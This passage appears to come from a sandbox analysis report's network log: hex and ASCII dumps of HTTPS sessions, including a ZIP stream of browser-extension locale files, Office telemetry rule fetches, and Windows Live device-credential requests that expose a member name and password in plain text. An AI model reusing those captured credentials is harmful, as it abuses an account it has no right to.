2024-11-12 05:23:27 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 03686dcf-301e-0099-31a0-346683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052328Z-17df447cdb5w28bthC1DFWgb640000000b70000000007pgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0559421d-e01e-000c-5ba0-348e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052328Z-17df447cdb5w28bthC1DFWgb640000000ba0000000000v9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:28 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052328Z-16547b76f7f7jnp2hC1DFWfc300000000fb00000000004bn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:28 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:28 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7cdefebb-b01e-0070-2ca7-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052328Z-17df447cdb5l865xhC1DFW9n7g00000008g00000000013be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:28 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: e1bc049e-701e-003e-11a5-3479b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052328Z-15869dbbcc6bdtw9hC1DFW9m4s00000007ag000000004snt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49806	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 05:23:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:29 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: e2effe53-9705-4946-a98b-ab7d84c5d530 PPServer: PPV: 30 H: BL02EPF00027826 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:28 GMT Connection: close Content-Length: 1276
2024-11-12 05:23:29 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49807	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:28 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-12 05:23:28 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 65 6b 75 74 64 67 6a 75 6b 7a 73 70 66 6c 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 41 25 5e 31 7a 33 68 68 60 63 69 46 46 40 47 2a 5f 72 44 51 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02ekutdgjukzspfl</Membername><Password>A%^1z3hh`ciFF@G*_rDQ</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-12 05:23:31 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 12 Nov 2024 05:22:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BL2 x-ms-request-id: 385c0a03-0288-4675-857c-9c077aae0bd6 PPServer: PPV: 30 H: BL02EPF00027B6B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:29 GMT Connection: close Content-Length: 17166
